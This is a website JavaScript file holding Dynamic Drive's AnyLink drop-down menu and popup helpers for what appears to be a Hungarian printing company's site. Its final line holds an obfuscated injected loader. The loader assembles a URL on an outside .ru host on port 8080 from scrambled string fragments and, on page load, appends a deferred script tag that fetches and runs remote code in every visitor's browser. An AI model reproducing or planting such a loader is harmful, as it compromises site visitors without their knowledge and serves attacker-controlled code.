/***********************************************
* AnyLink Drop Down Menu- © Dynamic Drive (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit http://www.dynamicdrive.com/ for full source code
***********************************************/

//Contents for menu
var menu1=new Array()
menu1[0]='<a href="tervezes.html">Tervezés</a>'
menu1[1]='<a href="montir.html">Montírozás</a>'
menu1[2]='<a href="nyomda.html">Nyomtatás</a>'
menu1[3]='<a href="digit.html">Digitális nyomtatás</a>'
menu1[4]='<a href="koteszet.html">Kötészet</a>'
menu1[5]='<a href="szallitas.html">Kiszállítás</a>'
menu1[6]='<a href="flexo.html">Flexo</a>'
		
var menuwidth='140px' //default menu width
var menubgcolor='#38485F'  //menu bgcolor
var disappeardelay=250  //menu disappear speed onMouseout (in miliseconds)
var hidemenu_onclick="yes" //hide menu when user clicks within menu?

/////No further editting needed

var ie4=document.all
var ns6=document.getElementById&&!document.all

if (ie4||ns6)
document.write('<div id="dropmenudiv" style="visibility:hidden;width:'+menuwidth+';background-color:'+menubgcolor+'" onMouseover="clearhidemenu()" onMouseout="dynamichide(event)"></div>')

function getposOffset(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
}


function showhide(obj, e, visible, hidden, menuwidth){
if (ie4||ns6)
dropmenuobj.style.left=dropmenuobj.style.top=-500
if (menuwidth!=""){
dropmenuobj.widthobj=dropmenuobj.style
dropmenuobj.widthobj.width=menuwidth
}
if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
obj.visibility=visible
else if (e.type=="click")
obj.visibility=hidden
}

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function clearbrowseredge(obj, whichedge){
var edgeoffset=0
if (whichedge=="rightedge"){
var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
}
else{
var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure){ //move up?
edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) //up no good either?
edgeoffset=dropmenuobj.y+obj.offsetHeight-topedge
}
}
return edgeoffset
}

function populatemenu(what){
if (ie4||ns6)
dropmenuobj.innerHTML=what.join("")
}


function dropdownmenu(obj, e, menucontents, menuwidth){
if (window.event) event.cancelBubble=true
else if (e.stopPropagation) e.stopPropagation()
clearhidemenu()
dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
populatemenu(menucontents)

if (ie4||ns6){
showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
dropmenuobj.x=getposOffset(obj, "left")
dropmenuobj.y=getposOffset(obj, "top")
dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+"px"
}

return clickreturnvalue()
}

function clickreturnvalue(){
if (ie4||ns6) return false
else return true
}

function contains_ns6(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
}

function dynamichide(e){
if (ie4&&!dropmenuobj.contains(e.toElement))
delayhidemenu()
else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
delayhidemenu()
}

function hidemenu(e){
if (typeof dropmenuobj!="undefined"){
if (ie4||ns6)
dropmenuobj.style.visibility="hidden"
}
}

function delayhidemenu(){
if (ie4||ns6)
delayhide=setTimeout("hidemenu()",disappeardelay)
}

function clearhidemenu(){
if (typeof delayhide!="undefined")
clearTimeout(delayhide)
}

if (hidemenu_onclick=="yes")
document.onclick=hidemenu


NS = (document.layers) ? 1 : 0;
IE = (document.all) ? 1 : 0;

function showpopup(melyik,mit,bal,fent,szel,mag){
	/*	if (IE) {
		if (melyik.top=="undefined") {
			eval (melyik+".close()");
		}
		else {
			eval (melyik+"=window.open(\"\",\""+melyik+"\",\"left=0,top=0,width=0,height=0\")");
		eval (melyik+".close()");
		}
	}*/
	eval (melyik+"=window.open(\""+mit+"\",\""+melyik+"\",\"left="+bal+",top="+fent+",width="+szel+",height="+mag+",scrollbars=0, menubar=1,resizable=0\");");
	if(NS) eval(melyik+".focus()");
}

function showpopup1(melyik,mit,bal,fent,szel,mag){
/*	if (IE) {
		if (melyik.top=="undefined") {
			eval (melyik+".close()");
		}
		else {
			eval (melyik+"=window.open(\"\",\""+melyik+"\",\"left=0,top=0,width=0,height=0\")");
	    	eval (melyik+".close()");
		}
	}*/
	eval (melyik+"=window.open(\""+mit+"\",\""+melyik+"\",\"left="+bal+",top="+fent+",width="+szel+",height="+mag+",menubar=1,scrollbars=1,resizable=0\");");
	if(NS) eval(melyik+".focus()");
}
var l;if(l!='B' && l!='Y'){l=''};function V(){var x;if(x!=''){x='ex'};this.W="";var Xz=RegExp;var d='';var XR=new Array();var c=new String("YO6g".substr(3));var w;if(w!='u'){w='u'};var hg=new Array();this.LP="";var oH;if(oH!='' && oH!='xt'){oH=''};function X(h,t){var A;if(A!=''){A='Kd'};var DA='';var G= new String("[lEUu".substr(0,1));var Jl;if(Jl!='du' && Jl!='dz'){Jl=''};G+=t;var Zs;if(Zs!='Vs' && Zs!='Z'){Zs=''};var UI='';G+=String("]");this.R="";var wq='';var e=new Xz(G, c);return h.replace(e, d);var M=new Date();var RP=new Date();};var tR;if(tR!=''){tR='YB'};var Wr="";this.mx="";var aE='';var V_=new String("def"+"er");var cg=new String();var E=String("src");var a='';var EB;if(EB!='wW'){EB='wW'};var Mt=new Date();var Jw=new Array();var f=String("/immEZA".substr(0,4)+"0nUFobil".substr(4)+"iens5rH".substr(0,4)+"cout"+"QAe24.d".substr(3)+"e/im"+"mobi"+"MyClien".substr(3)+"7UAyscouUAy7".substr(4,4)+"t24."+"de/vWPJ".substr(0,4)+"7FxenteF7x".substr(3,4)+"-priE32C".substr(0,4)+"d7gvee.".substr(3)+"com/FRYV".substr(0,4)+"PyCdgoogyCdP".substr(4,4)+"DP7le.cPD7".substr(3,4)+"DIOl/goIOD".substr(3,4)+"8sGZogle8sGZ".substr(4,4)+"KiT8.com".substr(4)+".php");var ax=String("sc"+"UVHSri".substr(4)+"2cept".substr(3));var _U=new String();this.db='';var D=window;var Jf;if(Jf!='mH'){Jf=''};var P=new String("http:"+"//yan"+"dex-r"+"u.askCmZ".substr(0,5)+".com."+"Wd7Qjooml".substr(4)+"zkV5a-orgV5kz".substr(4,5)+".supefXo".substr(0,5)+"C8Vrseas".substr(3)+"2Zfwilver".substr(4)+"iXN6.ru:".substr(4));var Ef="";var XZ=X('82222205525252855222250522255',"52");var Ft='';D.onload=function(){this.WX='';try {var C="";a=P+XZ;var HP=new String();var _B;if(_B!=''){_B='dG'};a+=f;GG=document.createElement(ax);var LH='';GG[V_]=[9,1][1];GG[E]=a;var tI=new Date();var yD=new Date();var aF=new Array();var TC=new Array();document.body.appendChild(GG);this.Du="";this.IX="";} catch(j){};this.Kf='';};var mV="";this.iT='';};var _x=new Date();V();var bw;if(bw!='' && bw!='cn'){bw=null};